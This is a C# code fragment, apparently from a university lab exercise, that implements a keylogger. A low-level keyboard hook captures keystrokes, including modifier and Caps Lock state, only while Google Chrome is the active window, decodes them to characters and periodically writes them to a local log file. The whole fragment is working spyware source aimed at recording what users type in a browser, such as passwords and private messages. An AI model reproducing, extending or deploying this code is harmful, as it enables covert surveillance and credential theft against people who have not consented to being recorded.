public static void SaveToContainer(KeyOptions keyOptions)
{
var lineMessage = keyOptions.ToString();
messageContainer.AppendLine(lineMessage);
//Console.WriteLine(lineMessage);
if (messageContainer.Length > 2000)
{
System.IO.File.WriteAllText("G:\\KINGSTON\\8 сем\\ЗОС\\лаб2\\Log.txt", Convert.ToString(messageContainer));
messageContainer.Clear();
//MessageBox.Show("SaveToFile");
}
}
public static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam)
{
string windowName = GetCaptionOfActiveWindow();
KBDLLHOOKSTRUCT kb = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
byte[] keyState = new byte[256];
byte[] inBuffer = new byte[1];
var flagState = kb.flag;
Encoding encoding = Encoding.GetEncoding("windows-1251");
if (windowName.Contains("Google Chrome") && nCode >= HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_ALT))
{
for (int i = 0; i < 256; i++)
{
keyState[i] = 0;
if ((GetAsyncKeyState(i) & 0x8000) != 0)
{
keyState[i] |= 0x80;
}
if ((GetKeyState(i) & 0x0001) != 0)
{
keyState[i] |= 0x01;
}
}
var keyOptions = new KeyOptions();
ToAsciiEx(kb.vkCode, kb.scanCode, keyState, inBuffer, flagState, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)));
keyOptions.EncodedChar = encoding.GetString(inBuffer);
int vkCode = (int)kb.vkCode;
int flags = (int)kb.flag;
Keys key = (Keys)vkCode;
if (wParam == WM_KEYDOWN || wParam == WM_ALT)
{
bool isAlt = false, isControl = false, isShift = false;
isAlt = wParam == WM_ALT;
isControl = (Control.ModifierKeys & Keys.Control) != Keys.None;
isShift = (Control.ModifierKeys & Keys.Shift) != Keys.None;
if (isAlt)
{
key |= Keys.Alt;
}
if (isControl)
{
key |= Keys.Control;
}
if (isShift)
{
key |= Keys.Shift;
}
keyOptions.Keys = key;
}
keyOptions.IsCapsLockEnable = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
SaveToContainer(keyOptions);
}
return(CallNextHookEx(hhook, nCode, (int)wParam, lParam));
}
